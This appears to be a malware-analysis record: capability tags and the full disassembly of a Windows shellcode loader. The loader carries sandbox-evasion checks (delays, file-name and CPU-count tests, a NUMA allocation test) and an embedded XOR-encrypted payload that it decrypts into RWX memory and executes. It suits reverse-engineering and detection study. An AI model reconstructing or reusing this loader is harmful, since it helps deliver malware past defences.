Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Get system information on windows
Hide graphical window
Terminate process

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x5c0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x560], ecx
mov qword [rbp + 0x568], rdx
call fcn.140001ac0
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x520], rax
mov rax, qword [rbp + 0x520]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
movabs rax, 0x694291dce
mov qword [rbp + 0x518], rax
mov qword [rbp + 0x538], 0
mov qword [rbp + 0x530], 0
mov qword [rbp + 0x530], 0
jmp 0x1400014e0
add qword [rbp + 0x538], 1
add qword [rbp + 0x530], 1
mov rax, qword [rbp + 0x530]
cmp rax, qword [rbp + 0x518]
jl 0x1400014d0
mov rax, qword [rbp + 0x538]
cmp rax, qword [rbp + 0x518]
je 0x14000150a
mov ecx, 0
call main
mov rax, qword [rbp + 0x568]
mov rax, qword [rax]
lea rdx, str.test.exe
mov rcx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_strstr
test rax, rax
je 0x14000155a
mov dword [rbp + 0x514], 0
mov qword [rbp + 0x508], 0
mov ecx, 0x11b23469
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rbp + 0x508], rax
cmp qword [rbp + 0x508], 0
je 0x14000157e
jmp 0x140001564
mov ecx, 0
call main
mov rax, qword [rbp + 0x508]
mov r8d, 0x11b23469
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x504], eax
mov ecx, 0x4d4a
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x500], eax
mov eax, dword [rbp + 0x500]
sub eax, dword [rbp + 0x504]
cmp eax, 0x4d49
jg 0x1400015c7
mov ecx, 0
call main
mov rax, qword [rbp + 0x508]
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov qword [rbp + 0x4f8], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
call rax
mov qword [rbp + 0x4f8], rax
cmp qword [rbp + 0x4f8], 0
je 0x140001661
lea rax, str.pgJPPsbgWHni
mov rcx, rax
call fcn.140002b40
lea rax, [rbp + 0x4b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x4d0]
mov dword [rbp + 0x4f4], eax
cmp dword [rbp + 0x4f4], 1
jg 0x140001675
jmp 0x14000166b
mov ecx, 0
call main
mov ecx, 0
call main
lea rax, [rbp + 0x2b0]
lea rdx, [0x140005018]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
movabs rax, 0x6b3f0fe2f36a55e1
movabs rdx, 0xcef6e7e9da7e57e9
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], rdx
movabs rax, 0x7d517bf706bb55bc
movabs rdx, 0xd1cab00ad3626aa8
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rdx
movabs rax, 0x8546082dfeebf1fb
movabs rdx, 0x5e4645222f009087
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], rdx
movabs rax, 0x8fa20288e9d88394
movabs rdx, 0x94f154c642e866a5
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], rdx
movabs rax, 0x3d2684fffae9f4df
movabs rdx, 0xdad867e6ad91a333
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], rdx
movabs rax, 0xd7a0e9cfb986add7
movabs rdx, 0x2d0783d78778e803
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rdx
movabs rax, 0xd60400f70b5f857b
movabs rdx, 0x9892ba7aea3c1a5
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], rdx
movabs rax, 0x2b4bb3f19d681c2c
movabs rdx, 0xb80b9b36d35e7bae
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x228], rdx
movabs rax, 0xf988cd682b83dae8
movabs rdx, 0x5d61c96969f22849
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], rdx
movabs rax, 0x236039765859c7d0
movabs rdx, 0x82889c78dd75f53e
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], rdx
movabs rax, 0x3fb907de6cdb225b
movabs rdx, 0x9fd65db4834aebde
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], rdx
movabs rax, 0xc4b5c4ee5d6bc941
movabs rdx, 0xb69b4f7af3365ea3
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x268], rdx
movabs rax, 0xb7ea232747db5319
movabs rdx, 0x269eb5ba610c3563
mov qword [rbp + 0x270], rax
mov qword [rbp + 0x278], rdx
movabs rax, 0xeb3923752096be9f
movabs rdx, 0xf596f0e54898ca0a
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x288], rdx
movabs rax, 0x568a6a853f6dee2
movabs rdx, 0xefaae3a15d0a318
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], rdx
movabs rax, 0x780efaae3a15d0a3
movabs rdx, 0x75045eb804b605
mov qword [rbp + 0x299], rax
mov qword [rbp + 0x2a1], rdx
mov dword [rbp + 0x52c], 0
mov dword [rbp + 0x528], 0
jmp 0x14000193e
cmp dword [rbp + 0x52c], 0xf8
jne 0x140001902
mov dword [rbp + 0x52c], 0
mov eax, dword [rbp + 0x528]
cdqe
movzx edx, byte [rbp + rax + 0x2b0]
mov eax, dword [rbp + 0x52c]
cdqe
movzx eax, byte [rbp + rax + 0x1b0]
xor edx, eax
mov eax, dword [rbp + 0x528]
cdqe
mov byte [rbp + rax - 0x50], dl
add dword [rbp + 0x52c], 1
add dword [rbp + 0x528], 1
mov eax, dword [rbp + 0x528]
cmp eax, 0x1fe
jbe 0x1400018ec
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1ff
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x4e8]
mov rcx, rax
lea rax, [rbp - 0x50]
mov edx, 0x1ff
mov r8, qword [rax]
mov qword [rcx], r8
mov r8d, edx
add r8, rcx
lea r9, [r8 + 8]
mov r8d, edx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rcx + 8]
and r8, 0xfffffffffffffff8
sub rcx, r8
sub rax, rcx
add edx, ecx
and edx, 0xfffffff8
shr edx, 3
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x4e8]
call rax
mov eax, 0
add rsp, 0x5c0
pop rsi
pop rdi
pop rbp
ret